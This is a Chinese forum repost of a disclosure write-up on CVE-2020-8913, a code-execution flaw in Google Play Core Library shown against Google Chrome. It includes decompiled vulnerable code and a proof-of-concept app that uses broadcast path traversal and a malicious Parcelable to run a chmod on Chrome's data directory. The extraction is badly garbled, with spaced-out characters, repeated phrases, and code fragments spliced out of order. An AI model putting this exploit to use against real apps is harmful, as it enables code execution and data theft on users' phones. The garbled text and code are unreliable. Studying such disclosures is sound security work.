搜索

[15905] 2020-09-29_挖洞经验GooglePlayCoreLibrary中的代码执行漏洞

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-09-29_挖洞经验GooglePlayCoreLibrary中的代码执行漏洞 挖 洞 经 验   |   G o o g l e   P l a y   C o r e   L i b r a r y 中 的 代 码 执 行 漏 洞 c l o u d s   F r e e B u f   2 0 2 0 - 0 9 - 2 9 年 初 年 初 2 月 ， 月 ， O v e r s e c u r e d 公 司 就 利 用 该 系 统 探 测 发 现 了 谷 歌 公 司 就 利 用 该 系 统 探 测 发 现 了 谷 歌 G o o g l e   P l a y   C o r e   L i b r a r y 核 心 库 中 的 一 个 高 危 代 码 执 行 漏 洞 ， 漏 洞 影 响 所 有 依 赖 调 用 该 库 的 核 心 库 中 的 一 个 高 危 代 码 执 行 漏 洞 ， 漏 洞 影 响 所 有 依 赖 调 用 该 库 的 A P P 应 用 程 序 ， 攻 击 者 可 通 过 向 应 用 程 序 ， 攻 击 者 可 通 过 向 受 害 者 手 机 中 植 入 恶 意 受 害 者 手 机 中 植 入 恶 意 A P P 应 用 ， 然 后 利 用 该 漏 洞 窃 取 用 户 隐 私 数 据 。 应 用 ， 然 后 利 用 该 漏 洞 窃 取 用 户 隐 私 数 据 。 漏 洞 介 绍 漏 洞 介 绍 G o o g l e   P l a y   C o r e   L i b r a r y 是 针 对 安 卓 系 统 的 一 个 主 流 应 用 库 ， 该 库 可 通 过 G o o g l e   A P I 接 口 在 后 台 动 态 向 用 户 A P P 应 用 实 现 推 送 更 新 、 优 化 存 储 、 自 适 应 调 整 等 功 能 。 O v e r s e c u r e d 公 司 发 现 G o o g l e P l a y   C o r e   L i b r a r y 中 存 在 的 该 漏 洞 ， 允 许 攻 击 者 在 A P P 应 用 中 添 加 运 行 模 块 并 在 其 中 实 现 代 码 执 行 ， 最 终 将 可 成 功 窃 取 受 害 者 手 机 中 的 登 录 凭 据 、 交 易 信 息 、 电 子 邮 件 等 敏 感 信 息 。 安 全 公 司 O v e r s e c u r e d 负 责 内 核 安 全 扫 描 的 专 家 通 过 测 试 了 多 款 主 流 A P P 应 用 后 发 现 ， 安 卓 原 生 态 中 的 谷 歌 G o o g l e   P l a y   C o r e   l i b r a r y 源 码 中 存 在 任 意 文 件 窃 取 和 任 意 文 件 覆 盖 两 个 严 重 安 全 问 题 。 以 下 为 该 两 个 漏 洞 问 题 的 源 码 出 处 ：

根 据 上 述 发 现 ， O v e r s e c u r e d 专 家 对 漏 洞 可 能 的 攻 击 范 围 展 开 了 调 查 ， 并 及 时 上 报 了 谷 歌 。 在 后 续 的 分 析 中 ， O v e r s e c u r e d 专 家 编 写 漏 洞 利 用 代 码 成 功 在 G o o g l e   C h r o m e   的 A P P 应 用 中 实 现 了 文 件 替 换 和 代 码 执 行 。 漏 洞 代 码 片 段 分 析 漏 洞 代 码 片 段 分 析 通 过 反 混 淆 等 技 术 ， O v e r s e c u r e d 测 试 人 员 对 G o o g l e   C h r o m e   A p p 应 用 进 行 了 反 编 译 ， 然 后 发 现 了 以 下 问 题 ： 1 、 在 代 码 文 件 c o m / g o o g l e / a n d r o i d / p l a y / c o r e / s p l i t i n s t a l l / C 3 7 4 8 l . j a v a 中 存 在 一 个 未 经 保 护 的 广 播 接 收 器 （ b r o a d c a s t   r e c e i v e r ） ， 攻 击 者 可 以 经 由 第 三 方 a p p 应 用 向 其 其 中 发 送 构 造 内 容 ， 并 迫 使 原 A P P 向 任 意 位 置 拷 贝 任 意 文 件 ， 尤 其 是 向 可 导 致 目 录 遍 历 的 参 数 s p l i t _ i d 位 置 。 该 广 播 接 收 器 （ b r o a d c a s t   r e c e i v e r ） 的 注 册 信 息 如 下 ： 另 外 ， 同 一 安 卓 设 备 中 的 第 三 方 应 用 可 通 过 以 下 代 码 文 件 c o m / g o o g l e / a n d r o i d / p l a y / c o r e / l i s t e n e r / C 3 7 1 8 a . j a v a 广 播 任 意 数 据 信 息 ： 代 码 文 件 c o m / g o o g l e / a n d r o i d / p l a y / c o r e / s p l i t i n s t a l l / S p l i t I n s t a l l S e s s i o n S t a t e . j a v a 则 负 责 处 理 接 收 到 的 信 息 ： 2 、 在 代 码 文 件 c o m / g o o g l e / a n d r o i d / p l a y / c o r e / i n t e r n a l / a b . j a v a 中 ， G o o g l e   P l a y   C o r e   L i b r a r y 核 心 库 会 从 s p l i t _ i d 参 数 下 s p l i t _ f i l e _ i n t e n t s   U R L 中 的 目 录 位 置 u n v e r i f i e d - s p l i t s 拷 贝 内 容 （ s p l i t _ i d 参 数 如 果 缺 乏 校 验 则 会 导 致 目 录 遍 历 ） ： 进 一 步 分 析 后 发 现 ， v e r i f i e d - s p l i t s 目 录 下 包 含 了 当 前 A P P 应 用 的 签 名 检 验 信 息 ， 如 果 该 目 录 下 c o n f i g . 前 缀 的 文 件 启 动 后 ， 会 自 动 被 添 加 到 A P P 运 行 的 类 扩 展 器 C l a s s L o a d e r 中 。 基 于 此 隐 患 ， 攻 击 者 可 以 创 建 一 个 实 现 类 ， 如 在 P a r c e l a b l e 接 口 中 包 含 进 恶 意 代 码 ， 然 后 把 其 实 例 发 送 到 存 在 漏 洞 的 A P P 应 用 去 ， 这 样 的 话 ， 利 用 c r e a t e F r o m P a r c e l 方 法 的 反 序 列 化 操 作 即 可 实 现 本 地 代 码 执 行 。 P O C 验 证 验 证 O v e r s e c u r e d 公 司 选 择 G o o g l e   C h r o m e   A P P 作 为 测 试 目 标 ， 通 过 执 行 c h m o d   - R   7 7 7   / d a t a / u s e r / 0 / c o m . a n d r o i d . c h r o m e 进 行 权 限 分 配 ， 启 动 A P P 应 用 后 ， 由 于 未 受 保 护 的 消 息 接 收 器 r e c e i v e r 在 G o o g l e   P l a y   C o r e   l i b r a r y 中 进 行 了 注 册 ， 3 秒 后 ， 消 息 接 收 器 r e c e i v e r 便 接 收 到 了 加 载 已 序 列 化 对 象 类 C l a s s R e s o l v e r 的 测 试 指 令 ， 5 秒 后 ， 攻 击 者 通 过 发 送 对 象 E v i l P a r c e l a b l e ， 实 现 了 反 序 列 化 过 程 的 代 码 执 行 。 在 安 卓 应 用 中 ， 当 某 个 组 件 接 收 到 一 个 意 图 指 令 状 态 后 ， 其 所 有 附 加 对 象 都 会 被 执 行 反 序 列 化 ， 如 I n t e n t . h a s E x t r a ( n a m e ) 方 法 。 整 个 过 程 的 代 码 逻 辑 如 下 ： p r i v a t e   C 3 7 4 8 l ( C o n t e x t   c o n t e x t ,   C 3 7 4 1 e   e V a r )   {         s u p e r ( n e w   a e ( " S p l i t I n s t a l l L i s t e n e r R e g i s t r y " ) ,   n e w   I n t e n t F i l t e r ( " c o m . g o o g l e . a n d r o i d . p l a y . c o r e . s p l i t i n s t a l l . r e c e i v e r . S p l i t I n s t a l l U p d a t e I n t e n t S e r v i c e " ) ,   c o n t e x t ) ; p r o t e c t e d   C 3 7 1 8 a ( a e   a e V a r ,   I n t e n t F i l t e r   i n t e n t F i l t e r ,   C o n t e x t   c o n t e x t )   {         t h i s . f 2 2 5 9 5 a   =   a e V a r ;         t h i s . f 2 2 5 9 6 b   =   i n t e n t F i l t e r ;   / /   i n t e n t   f i l t e r   w i t h   a c t i o n   ` c o m . g o o g l e . a n d r o i d . p l a y . c o r e . s p l i t i n s t a l l . r e c e i v e r . S p l i t I n s t a l l U p d a t e I n t e n t S e r v i c e `         t h i s . f 2 2 5 9 7 c   =   c o n t e x t ; } p r i v a t e   f i n a l   v o i d   m 1 5 3 4 7 a ( )   {         i f   ( ( t h i s . f 2 2 6 0 0 f   | |   ! t h i s . f 2 2 5 9 8 d . i s E m p t y ( ) )   & &   t h i s . f 2 2 5 9 9 e   = =   n u l l )   {                 t h i s . f 2 2 5 9 9 e   =   n e w   C 3 7 1 9 b ( t h i s ,   0 ) ;                 t h i s . f 2 2 5 9 7 c . r e g i s t e r R e c e i v e r ( t h i s . f 2 2 5 9 9 e ,   t h i s . f 2 2 5 9 6 b ) ;   / /   r e g i s t r a t i o n   o f   u n p r o t e c t e d   b r o a d c a s t   r e c e i v e r p u b l i c   s t a t i c   S p l i t I n s t a l l S e s s i o n S t a t e   m 1 5 4 0 7 a ( B u n d l e   b u n d l e )   {         r e t u r n   n e w   S p l i t I n s t a l l S e s s i o n S t a t e ( b u n d l e . g e t I n t ( " s e s s i o n _ i d " ) ,   b u n d l e . g e t I n t ( " s t a t u s " ) ,   b u n d l e . g e t I n t ( " e r r o r _ c o d e " ) ,   b u n d l e . g e t L o n g ( " b y t e s _ d o w n l o a d e d " ) ,   b u n d l e . g e t L o n g ( } f o r   ( I n t e n t   n e x t   :   l i s t )   {         S t r i n g   s t r i n g E x t r a   =   n e x t . g e t S t r i n g E x t r a ( " s p l i t _ i d " ) ;         F i l e   a   =   t h i s . f 2 2 5 4 3 b . m o 3 2 0 6 7 a ( s t r i n g E x t r a ) ;   / /   p a t h   t r a v e r s a l   f r o m   ` / d a t a / u s e r / 0 / { p a c k a g e _ n a m e } / f i l e s / s p l i t c o m p a t / { i d } / u n v e r i f i e d - s p l i t s / `         i f   ( ! a . e x i s t s ( )   & &   ! t h i s . f 2 2 5 4 3 b . m o 3 2 0 6 7 b ( s t r i n g E x t r a ) . e x i s t s ( ) )   {                 b u f f e r e d I n p u t S t r e a m   =   n e w   B u f f e r e d I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( t h i s . f 2 1 8 4 0 a . g e t C o n t e n t R e s o l v e r ( ) . o p e n F i l e D e s c r i p t o r ( n e x t . g e t D a t a ( ) ,   " r " ) . g e t F i l e D e s c r i p t o r ( ) ) ) ;   / /   d a t a   o f   ` s p l i t _ f i l e _ i n t e n t s `   i n t e n t s                 f i l e O u t p u t S t r e a m   =   n e w   F i l e O u t p u t S t r e a m ( a ) ;                 b y t e [ ]   b A r r   =   n e w   b y t e [ 4 0 9 6 ] ;                 w h i l e   ( t r u e )   {                         i n t   r e a d   =   b u f f e r e d I n p u t S t r e a m . r e a d ( b A r r ) ;                         i f   ( r e a d   < =   0 )   {                                 b r e a k ;                         }                               f i l e O u t p u t S t r e a m . w r i t e ( b A r r ,   0 ,   r e a d ) ; p u b l i c   s t a t i c   f i n a l   S t r i n g   A P P   =   " c o m . a n d r o i d . c h r o m e " ; p r o t e c t e d   v o i d   o n C r e a t e ( B u n d l e   s a v e d I n s t a n c e S t a t e )   {         s u p e r . o n C r e a t e ( s a v e d I n s t a n c e S t a t e ) ;         I n t e n t   l a u n c h I n t e n t   =   g e t P a c k a g e M a n a g e r ( ) . g e t L a u n c h I n t e n t F o r P a c k a g e ( A P P ) ;         s t a r t A c t i v i t y ( l a u n c h I n t e n t ) ;         n e w   H a n d l e r ( ) . p o s t D e l a y e d ( ( )   - >   {
攻 击 者 端 控 制 的 代 码 执 行 逻 辑 如 下 ： 总 结 总 结 该 漏 洞 上 报 后 被 谷 歌 威 胁 评 分 为 8 . 8 ， 漏 洞 将 会 影 响 如 G o o g l e   C h r o m e 等 依 赖 G o o g l e   P l a y   C o r e   L i b r a r y 库 的 所 有 主 流 A P P 应 用 ， 导 致 任 意 代 码 执 行 ， 造 成 用 户 个 人 信 息 、 浏 览 记 录 、 交 易 数 据 等 隐 私 敏 感 数 据 信 息 被 窃 。 A P P 开 发 方 请 及 时 更 新 G o o g l e   P l a y   C o r e   l i b r a r y 至 最 新 状 态 。 漏 洞 上 报 和 处 理 进 程 漏 洞 上 报 和 处 理 进 程 0 2 / 2 6 / 2 0 2 0   漏 洞 发 现 0 2 / 2 7 / 2 0 2 0   漏 洞 分 析 并 上 报 谷 歌 0 4 / 0 6 / 2 0 2 0   谷 歌 确 认 漏 洞 有 效 并 执 行 修 复 0 7 / 2 2 / 2 0 2 0   谷 歌 分 配 漏 洞 编 号 C V E - 2 0 2 0 - 8 9 1 3 参 考 来 源 ： 参 考 来 源 ： h t t p s : / / b l o g . o v e r s e c u r e d . c o m / O v e r s e c u r e d - a u t o m a t i c a l l y - d i s c o v e r s - p e r s i s t e n t - c o d e - e x e c u t i o n - i n - t h e - G o o g l e - P l a y - C o r e - L i b r a r y / 精 彩 推 荐 精 彩 推 荐         n e w   H a n d l e r ( ) . p o s t D e l a y e d ( ( )   - >   {                 I n t e n t   s p l i t   =   n e w   I n t e n t ( ) ;                 s p l i t . s e t D a t a ( U r i . p a r s e ( " f i l e : / / "   +   g e t A p p l i c a t i o n I n f o ( ) . s o u r c e D i r ) ) ;                 s p l i t . p u t E x t r a ( " s p l i t _ i d " ,   " . . / v e r i f i e d - s p l i t s / c o n f i g . t e s t " ) ;                 B u n d l e   b u n d l e   =   n e w   B u n d l e ( ) ;                 b u n d l e . p u t I n t ( " s t a t u s " ,   3 ) ;                 b u n d l e . p u t P a r c e l a b l e A r r a y L i s t ( " s p l i t _ f i l e _ i n t e n t s " ,   n e w   A r r a y L i s t < P a r c e l a b l e > ( A r r a y s . a s L i s t ( s p l i t ) ) ) ;                 I n t e n t   i n t e n t   =   n e w   I n t e n t ( " c o m . g o o g l e . a n d r o i d . p l a y . c o r e . s p l i t i n s t a l l . r e c e i v e r . S p l i t I n s t a l l U p d a t e I n t e n t S e r v i c e " ) ;                 i n t e n t . s e t P a c k a g e ( A P P ) ;                 i n t e n t . p u t E x t r a ( " s e s s i o n _ s t a t e " ,   b u n d l e ) ;                 s e n d B r o a d c a s t ( i n t e n t ) ;         } ,   3 0 0 0 ) ;         n e w   H a n d l e r ( ) . p o s t D e l a y e d ( ( )   - >   {                 s t a r t A c t i v i t y ( l a u n c h I n t e n t . p u t E x t r a ( " x " ,   n e w   E v i l P a r c e l a b l e ( ) ) ) ;         } ,   5 0 0 0 ) ; } p a c k a g e   o v e r s e c u r e d . p o c ; i m p o r t   a n d r o i d . o s . P a r c e l a b l e ; p u b l i c   c l a s s   E v i l P a r c e l a b l e   i m p l e m e n t s   P a r c e l a b l e   {         p u b l i c   s t a t i c   f i n a l   P a r c e l a b l e . C r e a t o r < E v i l P a r c e l a b l e >   C R E A T O R   =   n e w   P a r c e l a b l e . C r e a t o r < E v i l P a r c e l a b l e > ( )   {                 p u b l i c   E v i l P a r c e l a b l e   c r e a t e F r o m P a r c e l ( a n d r o i d . o s . P a r c e l   p a r c e l )   {                         e x p l o i t ( ) ;                         r e t u r n   n u l l ;                 }                 p u b l i c   E v i l P a r c e l a b l e [ ]   n e w A r r a y ( i n t   i )   {                         e x p l o i t ( ) ;                         r e t u r n   n u l l ;                 }                 p r i v a t e   v o i d   e x p l o i t ( )   {                         t r y   {                                 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c h m o d   - R   7 7 7   / d a t a / u s e r / 0 / "   +   M a i n A c t i v i t y . A P P ) . w a i t F o r ( ) ;                         }                         c a t c h   ( T h r o w a b l e   t h )   {                                 t h r o w   n e w   R u n t i m e E x c e p t i o n ( t h ) ;                         }                 }         } ;         p u b l i c   i n t   d e s c r i b e C o n t e n t s ( )   {   r e t u r n   0 ;   }         p u b l i c   v o i d   w r i t e T o P a r c e l ( a n d r o i d . o s . P a r c e l   p a r c e l ,   i n t   i )   { } }

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理